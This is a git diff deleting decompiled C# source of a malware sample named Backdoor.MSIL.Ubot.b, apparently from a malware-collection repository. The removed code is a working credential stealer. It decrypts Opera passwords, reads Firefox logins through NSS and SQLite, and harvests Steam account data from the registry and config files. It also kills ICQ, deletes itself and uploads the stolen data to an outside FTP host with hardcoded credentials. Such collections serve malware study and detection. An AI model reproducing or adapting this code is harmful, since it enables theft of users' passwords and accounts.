- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoginData[checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c2 + 1)] = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sUser[index];
- yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.LoginData[checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c2 + 2)] = yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.sPass[index];
- checked { yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.c2 += 3; }
- checked { ++index; }
- }
- }
-
- public static object decrypt2_method(byte[] key, byte[] encrypt_data)
- {
- object obj;
- try
- {
- MD5CryptoServiceProvider cryptoServiceProvider1 = new MD5CryptoServiceProvider();
- cryptoServiceProvider1.Initialize();
- byte[] numArray1 = new byte[checked (yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.opera_salt.Length + (key.Length - 1) + 1)];
- Array.Copy((Array) yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.opera_salt, (Array) numArray1, yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.opera_salt.Length);
- Array.Copy((Array) key, 0, (Array) numArray1, yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.opera_salt.Length, key.Length);
- byte[] hash1 = cryptoServiceProvider1.ComputeHash(numArray1);
- byte[] numArray2 = new byte[checked (hash1.Length + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.opera_salt.Length + (key.Length - 1) + 1)];
- Array.Copy((Array) hash1, (Array) numArray2, hash1.Length);
- Array.Copy((Array) yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.opera_salt, 0, (Array) numArray2, hash1.Length, yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.opera_salt.Length);
- Array.Copy((Array) key, 0, (Array) numArray2, checked (hash1.Length + yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.opera_salt.Length), key.Length);
- byte[] hash2 = cryptoServiceProvider1.ComputeHash(numArray2);
- TripleDESCryptoServiceProvider cryptoServiceProvider2 = new TripleDESCryptoServiceProvider();
- cryptoServiceProvider2.Mode = CipherMode.CBC;
- cryptoServiceProvider2.Padding = PaddingMode.None;
- byte[] destinationArray1 = new byte[24];
- byte[] destinationArray2 = new byte[8];
- Array.Copy((Array) hash1, (Array) destinationArray1, hash1.Length);
- Array.Copy((Array) hash2, 0, (Array) destinationArray1, hash1.Length, 8);
- Array.Copy((Array) hash2, 8, (Array) destinationArray2, 0, 8);
- cryptoServiceProvider2.Key = destinationArray1;
- cryptoServiceProvider2.IV = destinationArray2;
- obj = (object) Encoding.Unicode.GetString(cryptoServiceProvider2.CreateDecryptor().TransformFinalBlock(encrypt_data, 0, encrypt_data.Length));
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- obj = (object) "";
- ProjectData.ClearProjectError();
- }
- return obj;
- }
-
- private struct CREDENTIAL
- {
- public IntPtr dwFlags;
- public IntPtr dwType;
- public IntPtr lpstrTargetName;
- public IntPtr lpstrComment;
- public System.Runtime.InteropServices.ComTypes.FILETIME ftLastWritten;
- public IntPtr dwCredentialBlobSize;
- public IntPtr lpbCredentialBlob;
- public IntPtr dwPersist;
- public IntPtr dwAttributeCount;
- public IntPtr lpAttributes;
- public IntPtr lpstrTargetAlias;
- public IntPtr lpUserName;
- }
-
- [System.Flags]
- public enum CryptProtectPromptFlags
- {
- CRYPTPROTECT_PROMPT_ON_UNPROTECT = 1,
- CRYPTPROTECT_PROMPT_ON_PROTECT = 2,
- }
-
- [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
- public struct DATA_BLOB
- {
- public int cbData;
- public IntPtr pbData;
- }
-
- [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
- public struct CRYPTPROTECT_PROMPTSTRUCT
- {
- public int cbSize;
- public yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.CryptProtectPromptFlags dwPromptFlags;
- public IntPtr hwndApp;
- public string szPrompt;
- }
-
- public struct TSECItem
- {
- public int SECItemType;
- public int SECItemData;
- public int SECItemLen;
- }
-
- [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
- public delegate long DLLFunctionDelegate(string configdir);
-
- [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
- public delegate long DLLFunctionDelegate2();
-
- [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
- public delegate long DLLFunctionDelegate3(long slot, bool loadCerts, long wincx);
-
- [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
- public delegate int DLLFunctionDelegate4(
- IntPtr arenaOpt,
- IntPtr outItemOpt,
- StringBuilder inStr,
- int inLen);
-
- [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
- public delegate int DLLFunctionDelegate5(
- ref yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem data,
- ref yMWFFseGcoDkCnrSGDwPMjFdjfruJegpzuYnGatndJSSRWHzHl.TSECItem result,
- int cx);
-}
diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/AssemblyInfo.cs
deleted file mode 100644
index 1e886428..00000000
--- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/AssemblyInfo.cs
+++ /dev/null
@@ -1,3 +0,0 @@
-using System.Reflection;
-
-[assembly: AssemblyVersion("0.0.0.0")]
diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/Backdoor.MSIL.Ubot.b.csproj b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/Backdoor.MSIL.Ubot.b.csproj
deleted file mode 100644
index 4b754a2c..00000000
--- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/Backdoor.MSIL.Ubot.b.csproj
+++ /dev/null
@@ -1,49 +0,0 @@
-
-
-
-
- Debug
- AnyCPU
- {4010E461-24CC-4054-8F97-01E75B08925D}
- WinExe
- Server
- 0.0.0.0
-
-
- AnyCPU
- true
- full
- false
- bin\Debug\
- DEBUG;TRACE
- prompt
- 4
-
-
- AnyCPU
- pdbonly
- true
- bin\Release\
- TRACE
- prompt
- 4
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/Backdoor.MSIL.Ubot.b.sln b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/Backdoor.MSIL.Ubot.b.sln
deleted file mode 100644
index ca41baa6..00000000
--- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/Backdoor.MSIL.Ubot.b.sln
+++ /dev/null
@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57.csproj", "{4010E461-24CC-4054-8F97-01E75B08925D}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Any CPU = Debug|Any CPU
- Release|Any CPU = Release|Any CPU
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {4010E461-24CC-4054-8F97-01E75B08925D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {4010E461-24CC-4054-8F97-01E75B08925D}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {4010E461-24CC-4054-8F97-01E75B08925D}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {4010E461-24CC-4054-8F97-01E75B08925D}.Release|Any CPU.Build.0 = Release|Any CPU
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/Base.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/Base.cs
deleted file mode 100644
index 42433952..00000000
--- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/Base.cs
+++ /dev/null
@@ -1,277 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Base
-// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8E1E6700-2073-48F3-B423-4F1247D1E0FA
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57.exe
-
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.Collections;
-using System.Data;
-using System.Runtime.InteropServices;
-using System.Text;
-
-public class Base
-{
- private const int SQL_OK = 0;
- private const int SQL_ROW = 100;
- private const int SQL_DONE = 101;
- private IntPtr database;
-
- [DllImport("kernel32")]
- private static extern IntPtr HeapAlloc(
- IntPtr heap,
- uint flags,
- uint lmwXcoftBrueIDsqQpslhlanGoQRna);
-
- [DllImport("kernel32")]
- private static extern IntPtr GetProcessHeap();
-
- [DllImport("kernel32")]
- private static extern int lstrlen(IntPtr str);
-
- [DllImport("mozsqlite3")]
- private static extern int sqlite3_open(IntPtr fileName, ref IntPtr database);
-
- [DllImport("mozsqlite3")]
- private static extern int sqlite3_close(IntPtr database);
-
- [DllImport("mozsqlite3")]
- private static extern int sqlite3_exec(
- IntPtr database,
- IntPtr xvqbvqxDUuohuGMtksLnbutqZxjuhJ,
- IntPtr callback,
- IntPtr arguments,
- ref IntPtr error);
-
- [DllImport("mozsqlite3")]
- private static extern IntPtr sqlite3_errmsg(IntPtr database);
-
- [DllImport("mozsqlite3")]
- private static extern int sqlite3_prepare_v2(
- IntPtr database,
- IntPtr xvqbvqxDUuohuGMtksLnbutqZxjuhJ,
- int CRjhCmhdjogGzsGrXfvexzMGfClkug,
- ref IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- ref IntPtr tail);
-
- [DllImport("mozsqlite3")]
- private static extern int sqlite3_step(IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD);
-
- [DllImport("mozsqlite3")]
- private static extern int sqlite3_column_count(IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD);
-
- [DllImport("mozsqlite3")]
- private static extern IntPtr sqlite3_column_name(
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- int columnNumber);
-
- [DllImport("mozsqlite3")]
- private static extern int sqlite3_column_type(
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- int columnNumber);
-
- [DllImport("mozsqlite3")]
- private static extern int sqlite3_column_int(
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- int columnNumber);
-
- [DllImport("mozsqlite3")]
- private static extern double sqlite3_column_double(
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- int columnNumber);
-
- [DllImport("mozsqlite3")]
- private static extern IntPtr sqlite3_column_text(
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- int columnNumber);
-
- [DllImport("mozsqlite3")]
- private static extern IntPtr sqlite3_column_blob(
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- int columnNumber);
-
- [DllImport("mozsqlite3")]
- private static extern IntPtr sqlite3_column_table_name(
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- int columnNumber);
-
- [DllImport("mozsqlite3")]
- private static extern int sqlite3_finalize(IntPtr handle);
-
- public Base() => this.database = IntPtr.Zero;
-
- public Base(string baseName) => this.OpenDatabase(baseName);
-
- public void OpenDatabase(string baseName)
- {
- if (Base.sqlite3_open(this.StringToPointer(baseName), ref this.database) == 0)
- return;
- this.database = IntPtr.Zero;
- }
-
- public void CloseDatabase()
- {
- if (!(this.database != IntPtr.Zero))
- return;
- Base.sqlite3_close(this.database);
- }
-
- public ArrayList GetTables()
- {
- DataTable dataTable = this.ExecuteQuery("SELECT name FROM sqlite_master WHERE type IN (");
- ArrayList tables = new ArrayList();
- try
- {
- foreach (DataRow row in dataTable.Rows)
- tables.Add((object) row.ItemArray[0].ToString());
- }
- finally
- {
- IEnumerator enumerator;
- if (enumerator is IDisposable)
- (enumerator as IDisposable).Dispose();
- }
- return tables;
- }
-
- public void ExecuteNonQuery(string xvqbvqxDUuohuGMtksLnbutqZxjuhJ)
- {
- try
- {
- IntPtr error;
- Base.sqlite3_exec(this.database, this.StringToPointer(xvqbvqxDUuohuGMtksLnbutqZxjuhJ), IntPtr.Zero, IntPtr.Zero, ref error);
- int num = error != IntPtr.Zero ? 1 : 0;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public DataTable ExecuteQuery(string xvqbvqxDUuohuGMtksLnbutqZxjuhJ)
- {
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD;
- IntPtr tail;
- Base.sqlite3_prepare_v2(this.database, this.StringToPointer(xvqbvqxDUuohuGMtksLnbutqZxjuhJ), this.GetPointerLenght(this.StringToPointer(xvqbvqxDUuohuGMtksLnbutqZxjuhJ)), ref ugsomsbismrdBPQhqtxSimmmoadhWD, ref tail);
- DataTable WCelvwBgEsajtdaulPPorkGkYgfnpq = new DataTable();
- int num = this.ReadFirstRow(ugsomsbismrdBPQhqtxSimmmoadhWD, ref WCelvwBgEsajtdaulPPorkGkYgfnpq);
- while (num == 100)
- num = this.ReadNextRow(ugsomsbismrdBPQhqtxSimmmoadhWD, ref WCelvwBgEsajtdaulPPorkGkYgfnpq);
- Base.sqlite3_finalize(ugsomsbismrdBPQhqtxSimmmoadhWD);
- return WCelvwBgEsajtdaulPPorkGkYgfnpq;
- }
-
- private int ReadFirstRow(
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- ref DataTable WCelvwBgEsajtdaulPPorkGkYgfnpq)
- {
- WCelvwBgEsajtdaulPPorkGkYgfnpq = new DataTable("resultTable");
- if (Base.sqlite3_step(ugsomsbismrdBPQhqtxSimmmoadhWD) == 100)
- {
- int num1 = Base.sqlite3_column_count(ugsomsbismrdBPQhqtxSimmmoadhWD);
- object[] objArray = new object[checked (num1 - 1 + 1)];
- int num2 = checked (num1 - 1);
- int columnNumber = 0;
- while (columnNumber <= num2)
- {
- string columnName = this.PointerToString(Base.sqlite3_column_name(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber));
- switch (Base.sqlite3_column_type(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber))
- {
- case 1:
- WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.Int32"));
- objArray[columnNumber] = (object) Base.sqlite3_column_int(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber);
- break;
- case 2:
- WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.Single"));
- objArray[columnNumber] = (object) Base.sqlite3_column_double(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber);
- break;
- case 3:
- WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.String"));
- objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_text(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber));
- break;
- case 4:
- WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.String"));
- objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_blob(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber));
- break;
- default:
- WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.String"));
- objArray[columnNumber] = (object) "";
- break;
- }
- checked { ++columnNumber; }
- }
- WCelvwBgEsajtdaulPPorkGkYgfnpq.Rows.Add(objArray);
- }
- return Base.sqlite3_step(ugsomsbismrdBPQhqtxSimmmoadhWD);
- }
-
- private int ReadNextRow(
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- ref DataTable WCelvwBgEsajtdaulPPorkGkYgfnpq)
- {
- int num1 = Base.sqlite3_column_count(ugsomsbismrdBPQhqtxSimmmoadhWD);
- object[] objArray = new object[checked (num1 - 1 + 1)];
- int num2 = checked (num1 - 1);
- int columnNumber = 0;
- while (columnNumber <= num2)
- {
- switch (Base.sqlite3_column_type(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber))
- {
- case 1:
- objArray[columnNumber] = (object) Base.sqlite3_column_int(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber);
- break;
- case 2:
- objArray[columnNumber] = (object) Base.sqlite3_column_double(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber);
- break;
- case 3:
- objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_text(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber));
- break;
- case 4:
- objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_blob(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber));
- break;
- default:
- objArray[columnNumber] = (object) "";
- break;
- }
- checked { ++columnNumber; }
- }
- WCelvwBgEsajtdaulPPorkGkYgfnpq.Rows.Add(objArray);
- return Base.sqlite3_step(ugsomsbismrdBPQhqtxSimmmoadhWD);
- }
-
- private IntPtr StringToPointer(string str)
- {
- if (str == null)
- return IntPtr.Zero;
- byte[] bytes = Encoding.UTF8.GetBytes(str);
- int lmwXcoftBrueIDsqQpslhlanGoQRna = checked (bytes.Length + 1);
- IntPtr pointer = Base.HeapAlloc(Base.GetProcessHeap(), 0U, checked ((uint) lmwXcoftBrueIDsqQpslhlanGoQRna));
- Marshal.Copy(bytes, 0, pointer, bytes.Length);
- Marshal.WriteByte(pointer, bytes.Length, (byte) 0);
- return pointer;
- }
-
- private string PointerToString(IntPtr ptr)
- {
- if (ptr == IntPtr.Zero)
- return (string) null;
- Encoding utF8 = Encoding.UTF8;
- int pointerLenght = this.GetPointerLenght(ptr);
- byte[] numArray = new byte[checked (pointerLenght - 1 + 1)];
- Marshal.Copy(ptr, numArray, 0, pointerLenght);
- return utF8.GetString(numArray, 0, pointerLenght);
- }
-
- private int GetPointerLenght(IntPtr ptr) => ptr == IntPtr.Zero ? 0 : Base.lstrlen(ptr);
-
- public enum SQLiteDataTypes
- {
- INT = 1,
- FLOAT = 2,
- TEXT = 3,
- BLOB = 4,
- NULL = 5,
- }
-}
diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.cs
deleted file mode 100644
index 7d7f93ad..00000000
--- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57/LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.cs
+++ /dev/null
@@ -1,1566 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy
-// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8E1E6700-2073-48F3-B423-4F1247D1E0FA
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using My;
-using System;
-using System.Collections.Generic;
-using System.Data;
-using System.Diagnostics;
-using System.Drawing;
-using System.IO;
-using System.Net;
-using System.Reflection;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-using System.Security.Cryptography;
-using System.Text;
-using System.Text.RegularExpressions;
-using System.Threading;
-using System.Windows.Forms;
-using System.Xml;
-
-[StandardModule]
-internal sealed class LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy
-{
- private static TextBox AText = new TextBox();
- private static TextBox BText = new TextBox();
- private static ListBox ListBox1 = new ListBox();
- private static string[] IwRIyMWGFseGcoDkCnrSGExQNjFejgruKfgpzuYnHatodJSTRW;
- private static string steamstring;
- private static string HzHlyxOSUMlBsdLNhKPcnIVJuWsrTBSEIiJUOgdzWumiuLavjs = Conversions.ToString(MyProject.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Valve\\Steam", "InstallPath", (object) ""));
- private static string QLoqXqwFtZijhmKQYCPOeikcCRJtbdxaftpYlLMmvIkEiHZyZk = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.HzHlyxOSUMlBsdLNhKPcnIVJuWsrTBSEIiJUOgdzWumiuLavjs + "\\config\\SteamAppData.vdf";
- public static string signon;
- public static string IPAdresse;
- private static IntPtr NSS3;
- private static byte[] opera_salt = new byte[11]
- {
- (byte) 131,
- (byte) 125,
- (byte) 252,
- (byte) 15,
- (byte) 142,
- (byte) 179,
- (byte) 232,
- (byte) 105,
- (byte) 115,
- (byte) 175,
- byte.MaxValue
- };
- private static byte[] key_size = new byte[4]
- {
- (byte) 0,
- (byte) 0,
- (byte) 0,
- (byte) 8
- };
- private static string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
- public static string DOutput;
- private static int c = 0;
- private static int c1 = 0;
- private static int c2 = 0;
- private static bool firstrun = true;
- private static string ReturnValue;
- private static string sUrlTemp;
- private static string sUserTemp;
- private static string sPassTemp;
- private static string[] sUrl = new string[1001];
- private static string[] sUser = new string[1001];
- private static string[] sPass = new string[1001];
- private static int lasturl = 0;
- private static bool ftp = false;
- private static string[] Lines;
- private static string[] LoginData = new string[3001];
-
- [STAThread]
- public static void Main()
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ListBox1.Location = new Point(24, 20);
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.BText.Text = Conversions.ToString(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetSteamUsername());
- try
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Melt("sVKeU.exe");
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.IPAdresse = new StreamReader(((HttpWebResponse) ((HttpWebRequest) WebRequest.Create("http://automation.whatismyip.com/n09230945.asp")).GetResponse()).GetResponseStream()).ReadToEnd();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- Process[] processesByName = Process.GetProcessesByName("ICQ");
- int index = 0;
- while (index < processesByName.Length)
- {
- processesByName[index].Kill();
- checked { ++index; }
- }
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.FtOEuJTCCooQYlNhMkCODztMJgQagcoFGbdmKqUkRXqynTPPOS();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TvDbsYmmzeKXixjs();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.PfGGVMOGfImkSHbSJWhQPDDemybuaxQcQOIaXtdotqCTUpqzYF();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ppFJMDcrkUCFZCGUQzNmmOWiLeKhzZzLFXHdNYdZlDRZajICfh();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.BUzXpCpmgywTDNTPbrsOQZweIXEKdlbHCCBGqjqVvhxBEvUxcN();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.dJSTRWHzHlyxOSUMlBsdLNhKPcnIVJuWsrTBSEIiJUOgdzWumi();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lzwfsSStCOqKpNfFfqkDmJsEJGRiwFGPniLNtzTbRwrsqvgnuL();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetOperaa();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- try
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.kLblosnDhhhJ();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.MLbehZxNGpYauXcpzViWIjGFgOfRVvVgaspNiHzvHYmIvGdYCD();
- try
- {
- MyProject.Computer.Network.UploadFile(Interaction.Environ("temp") + "\\" + MyProject.Computer.Name.ToString(), "ftp://ftp.drivehq.com/" + MyProject.Computer.Name.ToString() + ".txt", "undetecter", "010101");
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- ProjectData.EndApp();
- }
-
- internal static object BUzXpCpmgywTDNTPbrsOQZweIXEKdlbHCCBGqjqVvhxBEvUxcN()
- {
- LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.IwRIyMWGFseGcoDkCnrSGExQNjFejgruKfgpzuYnHatodJSTRW = MyProject.Computer.FileSystem.ReadAllText(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.QLoqXqwFtZijhmKQYCPOeikcCRJtbdxaftpYlLMmvIkEiHZyZk).Split('"');
- return (object) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.IwRIyMWGFseGcoDkCnrSGExQNjFejgruKfgpzuYnHatodJSTRW[9];
- }
-
- public static object GetSteamUsername()
- {
-label_0:
- int num1;
- object obj;
- int num2;
- try
- {
- ProjectData.ClearProjectError();
- num1 = 1;
-label_1:
- int num3 = 2;
- string str = Conversions.ToString(MyProject.Computer.Registry.GetValue("HKEY_CURRENT_USER\\SOFTWARE\\Valve\\Steam", "SteamPath", (object) ""));
-label_2:
- num3 = 3;
- string file = str + "\\config\\SteamAppData.vdf";
-label_3:
- num3 = 4;
- string[] strArray = MyProject.Computer.FileSystem.ReadAllText(file).Split('"');
-label_4:
- num3 = 5;
- if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(strArray[9], "", false) == 0)
- goto label_7;
-label_5:
- num3 = 6;
- strArray[9] = strArray[9];
-label_6:
- num3 = 7;
- obj = (object) strArray[9];
- goto label_15;
-label_7:
- num3 = 9;
-label_8:
- obj = (object) null;
- goto label_15;
-label_10:
- num2 = num3;
- switch (num1)
- {
- case 1:
